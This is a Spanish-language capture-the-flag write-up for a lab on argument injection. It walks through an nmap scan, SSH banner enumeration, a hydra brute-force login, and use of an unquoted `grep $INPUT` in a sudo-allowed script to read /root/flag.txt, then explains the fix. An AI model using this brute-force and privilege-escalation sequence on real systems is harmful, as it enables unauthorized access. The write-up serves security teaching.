# ghostlabs-argument — Writeup

## Descripción

**Dificultad**: ★★★☆☆☆☆☆ (media, 3 pts)
**Categoría**: Argument Injection / Bash scripting
**Puerto**: 2222 (SSH)

Un sistema de validación de entradas protege su servidor mediante una lista blanca. El equipo de seguridad revisó el código y confirmó que "todas las variables usan comillas". ¿Es suficiente?

---

## Contexto — ¿Qué es la inyección de argumentos?

La **inyección de argumentos** (argument injection) es diferente de la inyección de comandos clásica:

| Tipo | Requiere | Ejemplo |
|------|----------|---------|
| Command injection | Metacaracteres shell (`; & | $`) | `input; cat /etc/passwd` |
| **Argument injection** | Solo una opción o ruta válida | `--file /root/flag.txt` |

La argument injection explota el hecho de que **los programas procesan sus propios argumentos** (flags, opciones) sin intervención del shell. Si el atacante puede controlar qué argumentos llegan a un programa como `grep`, `curl`, `tar`, `find`, puede modificar su comportamiento completamente.

En bash, la principal causa es una **variable sin comillas** en un comando:

```bash
# VULNERABLE: $INPUT sin comillas → word splitting al expandirse
grep $INPUT archivo.txt

# SEGURO (parcial): evita word-splitting pero sigue permitiendo --opciones
grep "$INPUT" archivo.txt

# SEGURO (completo): -- marca el fin de opciones + comillas evitan splitting
grep -- "$INPUT" archivo.txt
```

---

## Paso 1 — Reconocimiento de red

```bash
nmap -sV -p- --min-rate 3000 <LAB_IP>
```

Resultado:

```
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 7.9p1 Debian
```

Solo SSH disponible. El objetivo es acceder al sistema.

---

## Paso 2 — Enumeración SSH: banner pre-autenticación

Conectamos con cualquier usuario ficticio para ver el banner:

```bash
ssh guest@<LAB_IP> -p 2222
```

El servidor responde antes de pedir contraseña:

```
GhostLabs Security Platform v2.0
Input validation service: ACTIVE

Contact: player (security operator)
```

El banner revela el nombre de usuario: **`player`**.

---

## Paso 3 — Fuerza bruta SSH

```bash
hydra -l player -P /usr/share/wordlists/rockyou.txt ssh://<LAB_IP>:2222 -t 4
```

Resultado:

```
[2222][ssh] host: <LAB_IP>   login: player   password: letmein
```

Credenciales: **`player`** / **`letmein`**

---

## Paso 4 — Acceso inicial

```bash
ssh player@<LAB_IP> -p 2222
```

El MOTD y el README nos dan una pista importante:

```
GhostLabs Security Platform v2.0
Input validation service: ACTIVE
All user inputs are sanitized.
```

```bash
cat ~/README.txt
```

```
Sistema de validacion de entradas v2.0

El servicio filtra entradas usando una lista blanca para prevenir injection.
La implementacion fue revisada por el equipo de seguridad:
todas las variables de usuario usan comillas para evitar injection.
```

El README asegura que "todas las variables usan comillas". Esta afirmación es la pista de que algo no está del todo bien.

---

## Paso 5 — Escalada de privilegios: sudo -l

```bash
sudo -l
```

```
User player may run the following commands on ghostlabs-argument:
    (root) NOPASSWD: /usr/local/bin/validador
```

Podemos ejecutar `/usr/local/bin/validador` como root sin contraseña. Leemos el script:

```bash
cat /usr/local/bin/validador
```

```bash
#!/bin/bash
WHITELIST="/usr/local/share/ghostlabs/whitelist.txt"

if [ $# -eq 0 ]; then
    echo "GhostLabs Validador v1.0"
    echo "Uso: validador <patron>"
    echo "Ejemplo: validador admin"
    exit 1
fi

INPUT=$1

echo "[*] Verificando entrada: '$INPUT'"
grep $INPUT "$WHITELIST"    ← BUG: $INPUT sin comillas!

RET=$?
echo ""
if [ $RET -eq 0 ]; then
    echo "[✓] Patron encontrado en la lista blanca"
else
    echo "[✗] Patron no encontrado en la lista blanca"
fi
```

El README decía que "todas las variables usan comillas". En efecto, `INPUT=$1` usa comillas implícitas en la asignación... pero en la línea `grep $INPUT "$WHITELIST"`, **`$INPUT` NO está entre comillas**. Esta es la vulnerabilidad.

---

## Paso 6 — Demostración de la inyección

Primero verificamos el uso normal:

```bash
sudo validador admin
```

```
[*] Verificando entrada: 'admin'
admin
[✓] Patron encontrado en la lista blanca
```

Ahora probamos con una opción de grep:

```bash
sudo validador --version
```

```
[*] Verificando entrada: '--version'
grep (GNU grep) 3.6
[✓] Patron encontrado en la lista blanca
```

`grep --version` ejecutó y mostró la versión en lugar de buscar el patrón `--version` en la whitelist. La inyección de argumentos funciona.

```bash
sudo validador --help
```

```
[*] Verificando entrada: '--help'
Usage: grep [OPTION]... PATTERN [FILE]...
...
[✓] Patron encontrado en la lista blanca
```

Mismo resultado: grep interpreta `--help` como una opción propia, no como un patrón a buscar.

> **¿Funciona esto incluso con `"$INPUT"` (comillas)?** Sí. Si el input empieza con `--`, grep lo interpretará como opción sin importar si hay comillas alrededor de la variable. Las comillas solo evitan el word-splitting (ver paso 7). El fix completo requiere `--` para marcar el fin de opciones.

---

## Paso 7 — Explotación: lectura de la flag

Aprovechamos que `$INPUT` está **sin comillas** para inyectar un segundo argumento mediante **word-splitting**:

```bash
sudo validador ". /root/flag.txt"
```

¿Qué ocurre internamente?

```bash
INPUT=". /root/flag.txt"        # asignación: INPUT contiene espacio
grep $INPUT "$WHITELIST"         # expansión SIN comillas → word-split
# se convierte en:
grep . /root/flag.txt /usr/local/share/ghostlabs/whitelist.txt
```

El shell aplica word-splitting al expandir `$INPUT` y lo convierte en **dos argumentos separados**:
- `.` → patrón (coincide con cualquier carácter)
- `/root/flag.txt` → archivo adicional a buscar

grep busca el patrón `.` en AMBOS archivos y muestra todas las coincidencias:

```
[*] Verificando entrada: '. /root/flag.txt'
/root/flag.txt:GhostLabs{4rgum3nt_1nj3ct10n}
/usr/local/share/ghostlabs/whitelist.txt:admin
/usr/local/share/ghostlabs/whitelist.txt:user
/usr/local/share/ghostlabs/whitelist.txt:root
/usr/local/share/ghostlabs/whitelist.txt:test
/usr/local/share/ghostlabs/whitelist.txt:guest
/usr/local/share/ghostlabs/whitelist.txt:operator

[✓] Patron encontrado en la lista blanca
```

**Flag obtenida**: `GhostLabs{4rgum3nt_1nj3ct10n}`

---

## ¿Por qué falla la "sanitización"?

La confusión viene de mezclar dos cosas distintas:

| Problema | Causa | Fix |
|----------|-------|-----|
| **Word-splitting** | `$INPUT` sin comillas → el shell divide en tokens | `"$INPUT"` |
| **Inyección de opciones** | grep parsea su propio argv → `--version` siempre es opción | `--` antes del patrón |

El README decía "todas las variables usan comillas". En la asignación `INPUT=$1`, las comillas no son necesarias (el lado derecho de una asignación simple no sufre word-splitting). El error está en el USE de la variable.

**Progresión del bug**:

```bash
# PASO 1 — vulnerable a todo
grep $INPUT whitelist.txt

# PASO 2 — evita word-splitting, pero --version sigue funcionando
grep "$INPUT" whitelist.txt

# PASO 3 — fix completo: -- + comillas
grep -- "$INPUT" whitelist.txt
```

---

## Remediación

```bash
# Versión corregida del validador
grep -- "$INPUT" "$WHITELIST"
```

| Elemento | Propósito |
|----------|-----------|
| `"$INPUT"` | Las comillas evitan word-splitting y globbing |
| `--` | Marca el fin de las opciones de grep; lo que sigue es tratado como patrón aunque empiece con `-` |

Además, validar que el input no contenga rutas o caracteres especiales antes de usarlo:

```bash
if [[ "$INPUT" =~ [^a-zA-Z0-9_-] ]]; then
    echo "[!] Caracteres no permitidos en la entrada"
    exit 1
fi
```

---

## Herramientas utilizadas

| Herramienta | Uso |
|-------------|-----|
| `nmap` | Descubrimiento del puerto SSH |
| `ssh` | Enumeración de banner pre-autenticación + acceso |
| `hydra` | Fuerza bruta SSH con rockyou.txt |
| `sudo -l` | Descubrimiento del binario privilegiado |
| `cat` | Lectura del script para analizar el bug |
| `bash` (word-splitting) | Mecanismo de la explotación |
